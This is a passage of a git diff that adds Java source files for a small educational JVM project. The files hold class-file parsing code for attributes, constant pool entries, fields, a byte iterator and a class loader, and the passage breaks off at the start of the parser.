+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..96c7823b71
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,90 @@
+package com.coderising.jvm.attr;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+import com.coderising.jvm.util.Util;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		int attrNameIndex=iter.nextU2toInt();
+		int attrLen=iter.nextU4toInt();
+		int maxStack=iter.nextU2toInt();
+		int maxLocals=iter.nextU2toInt();
+		int codeLen=iter.nextU4toInt();
+		byte[] codes=iter.getByte(codeLen);
+		String code = null;
+		try {
+			code=Util.byteToHexString(codes);
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		
+		CodeAttr codeAttr=new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code);
+		
+		int exceNum=iter.nextU2toInt();
+		System.out.println("exception num"+exceNum);
+		//如果有exception要实现
+		int arrtNum=iter.nextU2toInt();
+		for(int i=0;i<arrtNum;i++){
+			String attrName=clzFile.getConstantPool().getUTF8String(iter.nextU2toInt());
+			iter.back(2);
+			if(AttributeInfo.LINE_NUM_TABLE.equals(attrName))
+				codeAttr.setLineNumberTable(LineNumberTable.parse(iter));
+			else if(AttributeInfo.LOCAL_VAR_TABLE.equals(attrName))
+				codeAttr.setLocalVariableTable(LocalVariableTable.parse(iter));
+			else if(AttributeInfo.STACK_MAP_TABLE.equals(attrName))
+				codeAttr.setStackMapTable(StackMapTable.parse(iter));
+			else {
+				throw new RuntimeException("  please implement the "+ attrName);
+			}
+		}
+		return codeAttr;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..32b6096dbd
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,53 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int attrNameIndex=iter.nextU2toInt();
+		int attrLen=iter.nextU4toInt();
+		int itemNum=iter.nextU2toInt();
+		LineNumberTable lineTable=new LineNumberTable(attrNameIndex,attrLen);
+		for(int i=0;i<itemNum;i++){
+			int startPC=iter.nextU2toInt();
+			int lineNum=iter.nextU2toInt();
+			LineNumberItem item=new LineNumberItem();
+			item.setStartPC(startPC);
+			item.setLineNum(lineNum);
+			lineTable.addLineNumberItem(item);
+		}
+		return lineTable;
+	}
+	
+	
+
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..ca6ac48d45
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int attrNameIndex=iter.nextU2toInt();
+		int attrLen=iter.nextU4toInt();
+		int itemNum=iter.nextU2toInt();
+		LocalVariableTable localTable=new LocalVariableTable(attrNameIndex,attrLen);
+		for(int i=0;i<itemNum;i++){
+			int startPC=iter.nextU2toInt();
+			int length=iter.nextU2toInt();
+			int nameIndex=iter.nextU2toInt();
+			int descIndex=iter.nextU2toInt();
+			int index=iter.nextU2toInt();
+			LocalVariableItem item=new LocalVariableItem();
+			item.setStartPC(startPC);
+			item.setIndex(index);
+			item.setDescIndex(descIndex);
+			item.setLength(length);
+			item.setNameIndex(nameIndex);
+			localTable.addLocalVariableItem(item);
+		}
+		return localTable;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..2915440cf5
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2toInt();
+		int len = iter.nextU4toInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..4755266987
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/field/Field.java b/group04/844028312/min-jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..87d22a2485
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		Field field=new Field(iter.nextU2toInt(),iter.nextU2toInt(),iter.nextU2toInt(),pool);
+		int attrNum=iter.nextU2toInt();
+		System.out.println("attrNum:" + attrNum);
+
+		// TODO : 如果field有属性个数, 这里需要解析
+		return field;
+	}
+	
+	public String toString(){
+		String nameIndex=this.pool.getUTF8String(this.nameIndex);
+		String descriptorIndex=this.pool.getUTF8String(this.descriptorIndex);
+		return nameIndex+":"+descriptorIndex;
+		
+	}
+
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..e6080bbb3d
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,43 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	private byte[] codes;
+	private int pos;
+	public ByteCodeIterator(byte[] codes){
+		this.codes=codes;
+		this.pos=0;
+	}
+	public byte[] getByte(int len){
+		byte[] b=new byte[len];
+		if(pos+len>codes.length){
+			
+		}
+		for(int i=0;i<len;i++){
+			b[i]=codes[pos++];
+		}
+		return b;
+	}
+	public void back(int num){
+		pos=pos-num;
+	}
+	public String nextUxToHexString(int len){
+		return Util.byteToHexString(getByte(len));
+	}
+	public int nextU1toInt(){
+		return Util.byteToInt(new byte[]{codes[pos++]});
+	}
+	public int nextU2toInt(){
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+	}
+	public int nextU4toInt(){
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+	public String nextU4toString(){
+		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+	public String nextU2toString(){
+		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++]});
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..a4f24be2a0
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,142 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+//
+//import org.apache.commons.io.IOUtils;
+//import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile2(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+//		try {
+//		
+//			return null;//IOUtils.toByteArray(new FileInputStream(f));
+//			
+//		} catch (IOException e) {			
+//			e.printStackTrace();
+//			return null;
+//		}
+		return null;
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath2(){
+	//	return StringUtils.join(this.clzPaths,";");
+		return null;
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..2148e0308f
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,158 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+import java.util.List;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+import com.coderising.jvm.util.Util;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		ClassFile clf=new ClassFile();
